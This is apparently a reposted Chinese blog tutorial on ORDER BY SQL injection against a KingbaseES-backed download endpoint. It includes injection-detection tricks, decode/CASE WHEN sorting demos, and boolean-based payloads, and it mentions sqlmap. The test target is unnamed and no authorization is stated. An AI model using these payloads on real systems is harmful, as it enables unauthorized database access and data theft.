全网稀缺教程-国产数据库人大金仓 KingbaseES Order By 注入
2022-12-31 00:2:49 Author: 利刃信安(查看原文) 阅读量:107 收藏

长夜漫漫,无心睡眠,不如来一个渗透测试。

我点点停停,不敢冒昧再前行,濛濛细雨无情的迷离我眼睛。

咿呀,这是啥?

下载按钮抓包看看

卧槽,有注入!

还是国产数据库人大金仓 KingbaseES

咋办?

首先来看看,如何判断注入?

对于字符型注入,可以使用 1/1 和 1/0 进行判断

存在注入,而且是字符型注入

其次,来看国产数据库人大金仓 KingbaseES的SQL语法

MySQL中的field()函数,可以用来对SQL中查询结果集进行指定顺序排序。
函数使用格式如下:

order by (str,str1,str2,str3,str4……),str与str1,str2,str3,str4比较,其中str指的是字段名字,
意为:字段str按照字符串str1,str2,str3,str4的顺序返回查询到的结果集。如果表中str字段值不存在于str1,str2,str3,str4中的记录,放在结果集最前面返回。

对于kingbaseES数据库没有专门的函数来做order by的自定义排序,但可以通过在order by之后用case when 或 decode来做自定义排序。

测试案例:

数据库版本:

prod=# select version();
version


Kingbase V008R003C002B0061 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46), 64
-bit
(1 row)

测试数据表:
prod=# \dt
List of relations
Schema | Name | Type | Owner
--------±------------±------±-------
PUBLIC | NEWPRODUCTS | table | system
PUBLIC | PRODUCTS | table | system
PUBLIC | PROVINCES | table | system
PUBLIC | t1 | table | system
PUBLIC | test1 | table | system
(5 rows)

默认排序:
prod=# select * from t1 order by name;
id | name
----±-----
10 | a
20 | b
30 | c
(3 rows)

decode自定义排序:
prod=# select * from t1 order by decode(name,‘b’,1,‘c’,2,‘a’,3);
id | name
----±-----
20 | b
30 | c
10 | a
(3 rows)

prod=# select * from t1 order by decode(name,‘b’,1,‘c’,2,‘a’,3) desc;
id | name
----±-----
10 | a
30 | c
20 | b
(3 rows)

case when自定义排序:
prod=# select * from t1 order by
prod-# case
prod-# when name=‘b’ then 1
prod-# when name=‘a’ then 2
prod-# when name=‘c’ then 3
prod-# end;
id | name
----±-----
20 | b
10 | a
30 | c
(3 rows)

prod=# select * from t1 order by
prod-# case
prod-# when name=‘b’ then 1
prod-# when name=‘a’ then 2
prod-# when name=‘c’ then 3
prod-# end
prod-# desc
prod-# ;
id | name
----±-----
30 | c
10 | a
20 | b
(3 rows)

通过以上信息,可以判断字段数目。

最后,我们这里可以使用手工测试。

根据字段数据可以手工测试。

decode(YHLX,'a',1,'b',2,'c',3,'d',4,'e',5,'f',6,'g',7)

case when YHLX='a' then 1 when YHLX='b' then 2 when YHLX='c' then 3 when YHLX='d' then 4 when YHLX='e' then 5 when YHLX='f' then 6 when YHLX='g' then 7 end

(SELECT (CASE WHEN (4780=4780) THEN 4780 ELSE 1/(SELECT 0) END))

当然了,也可以使用sqlmap

说是国产数据库,但是估计和PostgreSQL有血缘关系,sqlmap会把她识别成PostgreSQL。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247499689&idx=1&sn=ed1db4cac745e26a2f08721fd98fbfd4&chksm=fbfb4f64cc8cc67278775f23ddd77cfe615fd68a2295bb798b9efb83214ea6e5da953455001c#rd
如有侵权请联系:admin#unsafe.sh